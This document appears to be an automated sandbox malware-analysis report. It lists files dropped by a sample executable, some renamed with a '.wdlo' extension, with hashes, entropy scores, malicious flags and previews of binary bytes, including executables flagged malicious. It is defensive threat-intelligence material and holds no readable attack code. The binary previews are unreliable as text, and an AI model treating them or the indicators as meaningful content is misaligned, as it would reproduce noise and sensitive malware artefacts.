Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1276
Entropy (8bit):	7.839173291858471
Encrypted:	false
SSDEEP:	24:o092ocjfm0K8Vn5EOuuDLttcnKgWHC/BKUGzg2+J+UyxbIjKnta3zbD:o09PSm0K8gCttcnUHC/B52+J+dxRnU3D
MD5:	FB6601826B6B24F7E5607088826E9440
SHA1:	A2A6CC4B001FA50DC008D77EB67A522F34BE62C5
SHA-256:	07D2988794478F5C68CA16575B97B898ABDCF65B77B56AFA685B555404DD8DBA
SHA-512:	AB66A5DE34AEDEC74A8196340589CE13B095D0F9F802939B24ADDD3A2FC24F4619B7A78E52E9EC36752976976EBB74243CB203407C0CA6B682879C1F6EB86FDE
Malicious:	false
Preview:	[2023.0-.&I.3(G-,z......M.q..-.D.l.`A...I..Hj.......L...."w.. L..6.......EZ.#.Qk.Y.Z^...>.N...^....S.N.}.dnA$.7...<.h.....U.&.q....:.~..T..Au.....V..2@..>&.....F..U.5.?.M9..-^1X.q!...h.b.t.)..'...W..cs7.....UN.bn..Y.F.i..+.J.B4....=...N...Y.U....o.@....M...CI..`.....yG.b..W..............=....&.[%...2.H5<.L...tsA.$..F.f.s"+C....8^+....,a.:]E,V..b..X2.._....,Y%.m.{...WE.5..,.:6j.V..u.....6.a...S!<.?.0.k.....ZG.....L.9T.)-......x=(.C^h.,A.Y1..v.h(I.h........bmx<..!.9-.c4.S...UaPkv.A....l..>......;.q.E....Zt2..H-.....y.......X..V.L.&v.....@e0.A7;...<..%.Z?..0....1m.L..U.6..Oq`..9.J....B......X{.).+P..9.T..~...x.i.#....H;!q./..JR.k.zG\.........0.-.Ra..L1.e@m...<:.\..U.._iK....".....D%..H.Z.z.o...V.....iV....c-]g..!nG~....q..T.,.......@.3?Z...L.w...O.g. .T..tK........m...$:.1....7uu"..........4d).).sT,..B..Z-.......B:...U...........\F...fJ*.....y".p:.Z..z.1...'n.6..M.......<.Y9.Q/c3..a5`.6..Z.T.A[......1.lH.W7.........$..r..B.5_.

C:\Users\user\Local Settings\Temp\msedge_installer.log.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	12196
Entropy (8bit):	7.984409700287312
Encrypted:	false
SSDEEP:	192:wZ/AS1xZNx25yUcKGZ/tF73APoOWPgK4XfsyattAmsZcHimEMyFwSyOYDEf+FvuL:s1xZNxCyUcZ9H7QwJgRfWttAm2rMSxYy
MD5:	971CD4D97D432F48175840AF6ABEA9CF
SHA1:	03807E0463CC560EB7D01DF32F67CD9D28907DBE
SHA-256:	13C82B3EE993DBFB21F48F4ADA2C5D7E5A6926914CFAA51124CD534396525A17
SHA-512:	12E42D4F2BD4BB9C75CEA35EE5F34CE1E068472A37266FD54724E6CA2D8B69C8F5BB973C9944169EA4364E8914744CADEAFAEE4FE9C695390369A14A64975DC1
Malicious:	false
Preview:	[4356..\..Ga......p...W1)C....'akI..*...z0...'..P.n...y..e..E........}......,E..x...&.....PA..n...J.c.......+.0.j/.........M.0W.;...x.(.Vs......c......D..J.rI9.....,.E.0.....S.m.#.c.%,..{e_.34.2{.o...H.]R..z.i.{..'G....f...r1...`..1,..R..h.EgA.....D..u-.........!..I..n...G.AE.U.J.............rF......O..........U..q>.LI.(..........d.@.1M.4..........H..V.EI....s......Is.....u...V`.C....Yf.;....}...,....cJ-3.5...D?...!....4.`..~.l.y...w.r.q.sH.Wc..G.:...O.>V......#.hB=)U.....c}EBe.[.L.O'..@.,..Z.3...S ^..?V..q......M1.n&v.g....s`.f...k...O..G...2.:.....1../.s.}...g..I..D.cu...6N&...h...B.\|a..kA?z.6..X..'..C..ydX...t...\|l....M.qol;.T.t.N.PLy.2..,.Y....<.@..%G.c"...................1....k....+..t.hI.9......q...j.Y..v=.....f\|.\|..W-D....<1......O.........N.8.R../<.h...S..Y...~/.c.[....nd..B.....t.f.....K...zo...W>.O.\S..E.......Ff..._1<..........X.3UPb)..f...a3.cs.!.q...n....?...@xo.I.......zP...u....W7...`gZ.....x......?...c.d.a>.U..c.c........

C:\Users\user\Local Settings\Temp\offline.session64.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	66542
Entropy (8bit):	7.997268981034186
Encrypted:	true
SSDEEP:	1536:SbFlbngf2Asy0l2B6xaS5w+m5tvgHYoJ6SKjB0O3Tv1WRRhE/:wbEqyW2B68m7mBg4+6SKj71
MD5:	538999FA9475BD19DB17D011C8D2D530
SHA1:	793A27D81D0132D0DD2E379B936A3A2ED84387CE
SHA-256:	8BE3D82A467F974872AB6B2943405F6DC79BBA60AAD905B397581B420E021068
SHA-512:	42ED5E1329D94E8E328E92ABD305F498335F28A14EF5E00B6686560EAFC2AD1BC23A5CF0A0344B84ECF35FEB4D7FCF1096B4481A5AED299653B42CCAE255B25C
Malicious:	true
Preview:	1G.f...>.....M.:.....p...-{R......=.oT...0.{p.......F....5.L..1.."!mnm..L.....~....&....P..K1./.8.{..1...."g.).4..?.-:...!.3...........l...V..I..l..t.;l......{.U...KC.\|.A>....5...X..^-...^.q~....;]g..c-:k..>.Y.....U....O..0.K.1(...$...+.:a.3.B.Vn(..d.K....J...sN..U.[!F8....g..Q.....\|....Q.n.w..].k..o.N.5.p..d.BZ0...m...`a.W&(..5.=........+....7Q.L'..]....i..;..`0....1p......GWS..Q.._..z!..5........h..~(..)...d..../t..~.....4..m^..(.B........:j.8#..c....=T..8._..'.\;[..w.....0.).j..n../<..Af+Q.n.....a~...n....U.Dj.%NXY.nS....3...P.1.'^...h..z..../..%1..,..G.t; ..R...!..1.&.....U.. .Q{..u.T".s..%.Y.X._<.-r6a........\5n........F..?@......&.[.:?..j...iZa`...7..1....LG....+..7.#....=7.h.h.-#..FN/=..H%.h..L..3{.x..f).N......~..K..&I.>..\...c$.4.O.{.n.&.H......+.[x&$..-k.UH..#..B:.E...,.....[..=....Q...u....I`g..qE2"a........Y...B5q...L...W...rd.=...b..,.S...?..U...3...c.tj...~......V...M. .....D....G.C.!.Nw...~...H.._....y...D...'.

C:\Users\user\Local Settings\Temp\prep_Form_JSI_API_not_a_real_file_V8_perf.cache.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1045
Entropy (8bit):	7.7931099749511645
Encrypted:	false
SSDEEP:	24:yYclD5J7d1nPyyxkn6es8UShZRAh4j7NmJJ7FE9gS+NI3zbD:ynVVzPhkNs8Uxhui7Fsz+NI3nD
MD5:	648D88D6AAA9CDC35DA8CB264BC6E429
SHA1:	BB20D2F7A75307D8318E1228CCE2A1F0FA2412C3
SHA-256:	5C1C82116D7CF9BDEF7BB4D808D91754118A3DFD96479C39960A088900074E65
SHA-512:	883B33F2224E3BC30C416084CB6D72770179CA05DC5B68A116EBF59088E83885C55E29B7325D55A96D30B50EB25BB638DC1636CFFAE3F70DDD6CB2B57987A876
Malicious:	false
Preview:	RNWPR<..]9S9p.(J.....VG.;..I.w6....w.....;Ys[4Qs& I.iMj.P.E...F..r.Z...Z.f..`.........\@.Z.BW4'..!.6!.q.r.....I.........v.6.X.`.'X........?.........h..(."..9.4`.).Q.M.N..,.!\.{..EE...,.g....,fW&..G+T.d.,...X..SK7..l7..I....4..g...O.~}.(l._......0..l.......=.;..p.....O.n..2...f(~._.Y....\|W..nx..H..9.q[N...H.ZQ.o.^=2.`.J..i.@.v..z.wZ\...U0..M.UYZt..;v.'.C..R.^....`.a.`.rRU.9..e...5rJ. ._i...QXs..bsH..S..B1..".'..,..p.;.`.8k....\sp.....gm.=.]...Q].a...W$ ...o.r.m......o.g....Oi..8u.l.sei#^wm.".....I4.dB.6?.W..E./ln....HW.WN..X..<.....h9R[.@...I@.[h.hyk.(.....L.;.M.$+a..=S(.-;...B..;.bZ../...G...g..F..L$.2..E.R.S#y..o........._I.....?..`...!o-.K{Gx>X...H...D...R.,.X.....:F.,7F.2..+33.U^..Rk.b...Z7>e.....Qb....%..@.'......K..f.t..@B%..g....6V.....q..Wga.R`0.<.e.z{>.....5...S7.=......9.W1..[...7UR.eb....Q.i!....F.rb.v..x?........J.<....g.=x.73y..8#P0.T&....z.Ab..S{.35x.~s.}......#0.^..gl.$.}............bB....`..i0fXrUHVihm5xsI9Icg243YMPJqd748Oc

C:\Users\user\Local Settings\Temp\prep_foundation_win32_bundle_V8_perf.cache.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	661993
Entropy (8bit):	6.822644447038959
Encrypted:	false
SSDEEP:	6144:iQSs5bqEWxYMnCSVAJDkrzTo1TiKfjHUSD2wWglbTbXFaLcqVpHloibPvPBysPe5:J1anNSNTimQScGALcCLQx
MD5:	E0E1100631D95E237AEB72F72C589F98
SHA1:	134CD16485195889AE82747F3972F3B6FCA55B35
SHA-256:	4C524C4B164701F8D12F31E3E1203E222734D4C14A838A844B79D3E2505D3217
SHA-512:	BC438E8B8FF86FDE4F16D69B8013BDC1338791707B68C0EBFFE265E1862A5C3F0CF9427A725D52B4040F1CE9B83E05D12D46DF172A0E9FC3703CA4598FB9199D
Malicious:	false
Preview:	RNWPR+...e,9.I..f.oIfB#.].uC(-.p.c..2R.%'.".....F.=j.......oN.K....N..._...Y.2%.pp3f.5..`>T.<ye..(.x.a.k...e..KT..........~....r.,.....BZZh."[...6k..~......2..<)..8..'h..v..xJ:b..n....s..@......g...mH?.........1m...8g..T.y_..uWn..T`!84...pU... `..?k.J..v......L.....:.k..._.;jJ..+..7K..].....h...R.L../.B....N^z.9K..."..U...e....@.Te9h<.x.]AW.....z...x.{.....~.ey.`...@.#:..N'..r..z..g...{..M......,..~.+L.`ZU]...-..4...R..\|...9.i....@.r..b.3...4.......LL.......D_..9.J..g^..)......O#.....XSF..ZP.....zd<....D.(L...[k.m4.&.U..3v$h"0C?.<GjXeF........et..K....>a>.......e..M.P[..... ...eBB.)..D..Fk@........AF5...Xl....FG ...G.X.WucE..<.x{e......l..y0D~...h......d...o...(..@.?a....r. &..p..P.Np...... ./E........q.5...5...xJD......@V...\|.....%[.V..\e ...S.......m....,...gzj.@\l4o..Y.C7...V.....;BTO]j.T>...........pm.h...OD..`.....6......`.......i\.~......0n..Z8 ..s.c.{...+z;..2..9. .sk.w..?'{0...<.JS.YE..IU.6...MM...._M+..2...*.......C.!..

C:\Users\user\Local Settings\Temp\prep_privacy-sdx_win32_bundle_js_V8_perf.cache.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	193293
Entropy (8bit):	7.87159055673906
Encrypted:	false
SSDEEP:	3072:ZkgrhPjrQl8713/hU3tiCtoVLuk8gp3Mg2OjwR8I6JZpG2AtAz4pZ6v7G1rElDbE:ZkC9jMl8713/+38lVF2OW8c2Mi4pwwW6
MD5:	C3DD946EC2721893017978B22B2A189B
SHA1:	90788DB76B0E7D93CFFDE1E97ABB266237A25E75
SHA-256:	040270CF0D18069F94367E697731D187A824E9F9CEC57850B061F541C85D372A
SHA-512:	A365DCD99AEB807D8563F3213855F9C8046F961785E6D631F2BA66F018AEBC43760A9E356ADCC963C9F1C0536E7569FB54D1B700D8B83B6B1FF631251E74716D
Malicious:	false
Preview:	RNWPR.$9...}.-..G.6<.L.......5.).7.p...ox.Sx.02e..%i...0..._..E...........zA.7cV.)T.,@h...U..W}X+...Q.61.0..]7.V......E<}2x{_H..t..(^.8...-.........fv.]...P......?8MGDI..T.q..b'l..]..`.3#........HM.....z.{.A......1.-.7.r......y...V.OS;2>\|......Z9R.}..6_.`.0..<.4...`..3.-HQ]..w..........7..q..c(`....K.-M7.T.i}..F...'3....Q.{.l._..z~....Z.Zki....Y.6.i5..._7!..&...%<.U....p~N.....q..J.u.....u6...j.S...<...3(...F...:......k(...R8..0......AO ....,T.[.....P.......:G8.Z"M....T.w^.....C....S,.$!.mJLI...s/+.Hcom-.x..;.]..m.`n.......b...?._gcG...9..W..4.R%..9..6fC.f.....4Q^..3.2..z.Ow.~O<..l.+..\|.......V.....=.Y.!.aRk.p6X<..._...R..P...E.....^...}..I%P....4.7m\|..F....U.]zw.....I......t&...^...2..2.D%..k.....g.L.;.Q..N....Q..Y8..\|`.......V.Q!..u%#c...<Z....M.8.H.........R...z.3HB.b..k..kG\|...).i....ow.H.....$.9.2*s..pCK..H.....v.Y.....>....{.....vap.k..l......^....Y.G..l.]..x.AX ....E...Z..{.E....,3.X....R..C...C.x.n.n_.N.....X..{..8.]kh.<..

C:\Users\user\Local Settings\Temp\prep_ui_win32_bundle_V8_perf.cache.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	240193
Entropy (8bit):	7.548730655570477
Encrypted:	false
SSDEEP:	6144:KHMM/zyzPdaCoH9GGI35FKb/n+RJtdlKF:FIGLd/o9GGb/n+u
MD5:	501660FB936795AE8D64291CD5E6AFAD
SHA1:	1A016246A5A4AC45E75F98AE1E2FAF4F88E48251
SHA-256:	66D80F7482E49132AF5BB0E46461677109D3228CB96FFAC681EF8A8792CD325E
SHA-512:	56C847552ABA1F9EF4D16948851B21D8A66CA5D2038B9B8EC1B45F3D12C8A3E9C38C9C107974516FB840D99539371620D4DAA0A1C01BABCE06446019281D04E3
Malicious:	false
Preview:	RNWPR&.bP\..l.S.bvRB....+}x.b./..K`......>...<V....g-...zI..._u.I.z...6.2.!4..0.S.(..\......~.lOQ....r.Vw..^W..9..>O.>.....W.tgK..7Z...F.1.{...c..O)F.'...FV)k...r]r.$N......./.b...2.z.4.lF.....A;...qP.@.....l.u...S<p.Nq.d.D...jA.......>KB.T\#...p..2..X...#..3uF.....:){..\..../..&..H..l......Xb.....s.J...JeX>..X..5#3..E..mzt..4....f..h/.o.s...H...@....5..dg7.........X......@.S4..v.70..Y.(....:...o.V..[.e.u....{..8..I{..w.......=.%W./9aN.. ).'.C...N../.r.)..X:.3.F...C.`N.. !6.&........p"...3..... ....-....6:.0...V>@`..X..~]yw...u.....s..=p.A..55j.. .....J#..~..+.#...M2.v...T...]`.i...D[.Y.+...;pR.Y.~M.65...`!....W..Jv..B.a!..<.7.].........e.....@t%9~.#}..Jz..CQ.y]>}Hg4 ..L.Y_.-64.K.X.=5..o.C.$}H[.P`.u~M....Y....qZY."..j..1.l....u.=.[.4GM..."T{..Y.^.7e.....@.u..7d.].f?p....F..^<...\......l.].....5.QJN.R....%.....}..'....@i............0.M.a.u.H..".S...a.i..y....?o.'sI.......l..._..[:......G.....;....s\3&]K..O6.......o..C.....Mh.J......8=.

C:\Users\user\Local Settings\Temp\tmpD027.tmp.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS-DOS executable, MZ for MS-DOS
Category:	dropped
Size (bytes):	808270
Entropy (8bit):	7.955439527143106
Encrypted:	false
SSDEEP:	24576:/k5OPZrvXxgYBV6qBi9oE/MfNzf4NSNoC/Ti:8chrvXyYBMqBTEEfwS2r
MD5:	F64A600473EFA68461B493EC312C7F37
SHA1:	5BC310BD252D67E9E1175B47FDF193FC53785A69
SHA-256:	664DFEF6F39199375D2DE75EE3DBF73031F440087B08943CE4E8AD97F63C2D99
SHA-512:	C2EC609F125B1C4D3CD1562A58FBCDBDA84EB7B5D8C95EA14D35A971A97F12093442AC1443456A9BE908C0CC72372348AEFE71F7442D3E78C174F3AB385D5307
Malicious:	true
Preview:	MZ...Lx..$......B...._.'L...^...?.R@...T.V.8..f.w.Z@.9.Iwg.}gw....HG..E#.8.}./.L'...RP....Rl;.T.U.....u.e.g...$.&....Qf\|..@.^....l......[(.....\|.)&.0Tq...%t..\.....@...L..CbC....+'[N.8...Y.5.(.MRR!.)...!.\.>Cc...;..d..A...Og...v]l....:.d.(....f../.....A.j....0.\........"._....M.=9:.....Q..u..r.V..K..%Z:....8.j.Lm..8.U...k..@..}.T...2.....g.).L........x.2..q...d....)m.J4T.\.rk.s..uP..3.:G..UD2.x...q....O+.!g....)!..rs.a..1..2............w+xN....&....W.8.K."...D+..3....j...$..<v..F.x..42....b.R...k........}'l.0&.n.y.9.vJ.UX.........H....N..l..7./....g.h.F0m..c.l?y8...-<..u4Z+.........l..G..z5...g>a\|\...G... .X.V..-...C>..1.^h.p.....3N......B........c..hW]_........e$.j..{2c.P..!=.o..JLU.........:..&H..Ab..D.t'.X..\|.&v.........i..xC..0.@a..G`hur..m.yq....`......d=n.U.1o../...\|....;.^...Ds.c.n]....-.p...6..s....1...s@......$.0....=....r...t..)..:.9;."...B.m.]F$..$G.O.m....Ml?...<O..(...52...6o.R.!P&9 ..C..U.*5.y..hq(!0..KFB...b.=DO..U`

C:\Users\user\Local Settings\Temp\wct1834.tmp.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	65188
Entropy (8bit):	7.997061867680258
Encrypted:	true
SSDEEP:	1536:yhX13KtiCmh9svwLPzNpFhxbVi5bRredBbEWIPAXM8Tn6gTM:yhVksh1bzNLhxJUzWIPeM876gA
MD5:	B868721CCE2405E56EE379BBCD46124E
SHA1:	09585740A99AEE2A788C7BA8EF161A1A4C771D71
SHA-256:	B2486804DE927286FF6602E2D29599C80519682B6F8FCE5A4B83E8647E56E642
SHA-512:	DB99CB662D5F475ADD5A7F3704F04EE3D9FBA40C627945D8B73C8E3D19DA1FAD345FD307AF6AB657B0A247008AEF22046AE11A3AC0C41427FA9B36038BBE067B
Malicious:	true
Preview:	{"ram..........(....g....!'..T.G..=8/.}?......t..>..4.......Z.B.;.P2'.....p..k(..X,@5z......f...6Dg;.B0y.3.Ec.^...`.n..:......sQ4+...;..;}....)..%.......Kt$.=..._5...N}.......bAH.R.XS..1.....@...E.....{.k...&.".b....B.A..'.....A....u.A....o(.....y.1....E.1.e.z.6...6.......^.j7R...m2ry"......(..b........+...........3.y8.5A...-86..N.(.s.)(.{.?^.....0.,..%.5.j...Q..p<S<.c...DW...3.He..fp..5...Np.Q8.w9.....^C.0~ ......XO/s...~..H.G..p..v.m...9........w..m.F....Z}..G..SQk..od.=.fV..7.1......KW.LDD...pJ)...D......v.D.e...W....#.x.{hs} .r2..H..q.....p+....BAnt.>.xml..j.D.y.m.....}..X...D..\.@.s.r....8..X...k..7.l.^.r2.C...9]NK.......Rky)...K......p.~..&,.:...F.v.7.G.n5).u.z>....WOR[.q......;...c......i)5...y>..p_..2,O..@.......d.(X...S.}G1.Q.W......s.J....s+....(.(.Y....LH..x.....&S..c0.......-.....w..n!...2.....X..E..8+N...TV.$....J.t.2...J..u....\|B(uj.....vf..rz.1iU.....If..U.r.....D....#..b,....R.....%.3.fh...V..1G....%..<.y..9u./...

C:\Users\user\Local Settings\Temp\wct42C5.tmp.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	65188
Entropy (8bit):	7.997240937900497
Encrypted:	true
SSDEEP:	1536:En1wjW8aqtMGBwt6G1QutGeS1sJNjqzMZdbxmalnVp1wxTvshD:En+jW8aIo8GBtGL1sJNVbxmalnVpCxTW
MD5:	8849075DA612B3E67137AB3759378878
SHA1:	7F773053221217185745F4CD4FF03E8183A1DA0F
SHA-256:	717E1D859F62A9646E900B842F66DA985B1B0D57BE0717BB7C8AB1D88473B5EB
SHA-512:	5047804AF7F6D167166B8048215F28FC957FD4E10B9B6D8E8938CB7A494CFC75F959F1CA07C1A3E78BE6D7BA7EBCD5D3536897DDFC14A9867302CFF2D3377E15
Malicious:	true
Preview:	{"ram.BmDSxC..G.A...=n.9...P..{...\|....O.J.}{..M.u.......1k...og.......j...].N..4...B....z......~..5..NO....h..ZN.X.' ............c.w..{Y....wh04..o...;.E.:...R.zp..W.5.j...3..;..._V.y..{.u`...`J.F...<...J.h.....eh\U.i....oJ.O..~/\0.5..h.._...,...m...8.....8..e.........W.^.m,....0....,.J...m.......%^.0......].j.-...8k!/...q._X..b.c0.......d.\|..2R...\|.v.h...V.../N..'4.K..........=2.....,..XZFk..]b. r..O 7..11`........$.0vgdJ.[...M.U?.]."E.<.....8.8.....$..%.._.J...).p.<.v.v..#0.~+...9..y.S..9..z7O......=..y.da..m...!.......G..._(W...g.\!..b...]..:<[....j5TpT....K9b..z....Q..yv.\..._1..B=T'9.........'._...8.(.t...WH......m....2.......[.....@..z9.b.KZ.........X....>1d.\|...l...J..;...W.....u.3.g....._Z.(..i.$..>.Ix.y.....n..{.."..!.t.`+..Q...>..&.d......R..!..0..i.S....L..).D^.5..)!+.t.>.N.c"].if...T8'1.dg.7...B......K.Y..r...m...E.d......+3..Q...k'....+...:.....s..M..84.F...BA1.........`...j....C.-...gb.(z.:A.....f.....p..}..$......V..h...E.1

C:\Users\user\Local Settings\Temp\wct4B1.tmp.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	74525
Entropy (8bit):	7.9974828521257315
Encrypted:	true
SSDEEP:	1536:d95DRpez5Vj5ZmWuyBv2HbJMjbIjV8DUmNMvDzR+NjujGDUal:d/DOzP5ZmEBAGjWmNnuval
MD5:	16C3FA273E8D1E76A15130EEE361A337
SHA1:	C2A07DA8B19E2FA066ECD3391B8DA2D594D1D441
SHA-256:	4933D35D336565E3A744D68CC87A4BCB46811A8576D1CDD5BBF37E540B0FBC7B
SHA-512:	FBE0C7CB19CF0F2018E60CB59603D2961B38EA5E36AB4CA0C26A9FE0A4FF3571600E539C02DFB87E2B25BAA856B03F5152A6F0CD0A99C36EC515D092834AB08A
Malicious:	true
Preview:	{"ram.&..-........d.......j..-...yG$@.DK......X.Y3^;g.w..\|7......W....H...e?yj_..^.d.."$...}./T.j..B;.2O{.\..q.g....:.k..1F...k.#.xs..<..;Ocv..q.K.C.R..e....V.3.D....A...4.K...P..W?.g...O1qg.]..dC.S.^P!..3....-...IK.%.....4.m.y.Y.._.S....L..M....GO.u._0....CD<.....~3...H........iv.m..F.Am.l6.b'._~U.&...T.b......5.,H%&..4..Ht..zy....`..4........S."?.?R..Q_M.9x.... .u.H`......3[.c...<..l..6.d%J.j.q..1.......S.\{.....:..Q.?1BnX..TZ..KT.._:UaYi^.?.>.f1x..,\|.M.#g..^...t...........w...U......W{.8C.k...a.EEx...E.z.M..,...?.....LSB...VoI....I.L/...:...5.Pi9....R.<..M........;$......%..P...4+-..,*.m".=.g6.o........V.......bT.U..9...eI.Pj..P...u-..`...R..y;.f8.\.......<.FF",......p\|.hJT...i4X/.Y.H9..:.."tx..uf.N>..}vJ.....H...l..:.Y..f...#'.r7V'k......!...D...w.d0E...a..y9_.X3..;m..J.u.h...@!...$..=.q...V..Y+On[h...M...U.._jg.....g\|}...Y....Z.:..b}mZ&...V.P...MH...Y...I.....0.0b................QF!..Q.A.DH.u...,..!xEep.....K.........

C:\Users\user\Local Settings\Temp\wctFE34.tmp.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS-DOS executable
Category:	dropped
Size (bytes):	42164934
Entropy (8bit):	7.947663456020467
Encrypted:	false
SSDEEP:	786432:rwQNeYDxVRrMPJy7LVV4NDDmdrZy9wOtg5gGOdjtjSNu4GIluUNj56I59k:EQcWxDMPnN+dk65gGUjku4vNjLjk
MD5:	1F3C61D6978D256CEBBEF78112E30F20
SHA1:	58255C2147C7D74BA7E745F0F519ACB9A31F6C68
SHA-256:	EE7330C306DEA5D18188754CAD05B223850BE8D5693FF7EE73FE761EF24B68CE
SHA-512:	B91D4057A8F24B378D69F56FA63152608B5F49BBB46450E67A969653ADDC4D60F736EF553E304BA98B233F95E52D1AAF4276E3FC1A3CD4676B6D6C2799AA86E1
Malicious:	true
Preview:	MZ.......&w..sWZq....>=.1..1.p}u.jg.u....iT.W:s......h...t.$'&....~.L. 0u.%.<C.p.W8.(...Ghs.7s}[........i.%_N..~.u...Qm..=..u........vP...._.d........j...d..f.K~z..[T..a[g..@6....>.t.hm...1....~U\|.e."Ti.i.....OR5}Te:.h.Q..k(v..7(.........g.T.....'@-PJ..N.......s.)..C,.a.z\H..v`.b>...M>o..Y.u.C.-...4.W`......".jy...n....},.J3$..Y...4.p........YJsc..K......w..V...p.....ja4..E.+IKV...k.....;..=m......].......$N..%.n..xC.zN.$...........`p.o..f._....j.5V.\|.o>..g. 2q\|...^.....w`r..4Gpv.kD..q.B.AS..l$.~.4. .d:Z.m....;{#.ku..y......;\|HR.Ds&..b..o.p.q..P..m.&......1U........E....\|G.j.uV^.....b.@...+Y.(..@.....O..^B..._.;..=..."f........`...........+.......3r1.Q.E<.....>.mQ.3....Z.....0E/qhw...8.....V..:Ih.]U`j..L....&.(t....Iq...p..v.NGq.pD..M._.oK..3..E.P....U.&_..+./....m....q.).4`......."..4........o..Hw..&...K..5..E/.=&.9w.+\|Q..G.<.._....X.&R..N2.....Q........5.^.!...6.f.k.!0k...w.xl.:j.*t...H..w.S..I..I..wM.z!.S....G..$..%{.Jb...o.^.....V.j..

C:\Users\user\Local Settings\Temp\wmsetup.log.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	7.821579022540727
Encrypted:	false
SSDEEP:	24:tWdod2XreRtmA0hEXttEc2SaYet5oJVDK+R/o/KJlrzST0+3zbD:Idoc6ncOtCf6JVT/o/GrzSTt3nD
MD5:	BCB06B8B76D023C9E21B97DE5351FDF9
SHA1:	0858AC11364C1692368A95F74ADC977CA9816057
SHA-256:	E0ABAFCABA4C775F3B122CD4CFF543DD21B71997DEA2EF52C97996AF4693B096
SHA-512:	6DB5F1BE5E39EDAEFB0EC60320DFFB2D4DE39D67D725B0883AA8870E2D0D899115B152875E5D8CF368973955192ADE124D092B060894664925352BFC235D5CF5
Malicious:	false
Preview:	..[W.u_....S}K.t...x.J....08./..TIG....y.k....XQrw;.{s.7.8.....G.x....!.......K.Z\|{..<y..Ff..o3.!5E@N.I..m.W."{.P.`^s.3.Dq..tY.[Hz.M.fH.........+.> W. ....D.....M...)..W...W`..q-.L..r.....Ao.T.P...\|.E".oW&.'.[.>Y..[.>...+C.P...WVp.'5.........d...._K..N.u!.x..w.L..hx.+.PW.a.,.j&....?.`'J..!X...)....I....PJ~.@j..P.B.P35...g&....\..i.F.~Z..c..p.5.8&`.WN.kF.....7.....h...r.....................m..........z.z...4.....{...Nf...gjmTm..s.O.gM~......GR/<.......3"..;...c.X..C...G.1.......`>..7.[.;}.}%9.t....S.......>...R.....z.@g...h..uDU..+..T...........'..f<......Zq1...)Xb'ku...Tn...uI.j.[.h.s.AQ....e}.;..a..f....8>Yc........a..d..Pw..T.-%..P.C....o.&..U}:.ie..v..O..o..H.g......3.../..Hu..u....>..>..\I.. .8u&..1.^.>..$.W..#....."...Y.l.:Mc.%......2..Ju..^.k..S.....+O..?......@.W.#.E&\|t.]._R...9..,=.zh.m...9K^..#.....XA6>...y.......i..-..o... $NZ..q...y.y..O.-...SX..6.W.xnV[U.J~....H...C.?.9..i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698

C:\Users\user\Local Settings\Temporary Internet Files\Content.IE5\53IVYM2Y\Converged_v22057_4HqSCTf5FFStBMz0_eIqyA2[1].css.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	110785
Entropy (8bit):	7.998263609640216
Encrypted:	true
SSDEEP:	3072:be/M+f8MY0YdJWcb6ITsOUqtpzhgL+BUb:beUItUdJWcbRsOUq/C+eb
MD5:	1B0FBCB90F87DF04DE8B6C3B778127D0
SHA1:	EB82900670F86A01D5DC8306014D1111B5158F1F
SHA-256:	6E2388C748452BA2418DC46D626B206623629FF4EFE19CD6A275FBF9BEDDE97B
SHA-512:	4A01FAC89364081596016561B80F7B60A9B5FF8F87429EAE5FED11D1840FC8D98F59130F643D560B655961D9C4AF43855021B182463FDB66244A85B7EDE45206
Malicious:	true
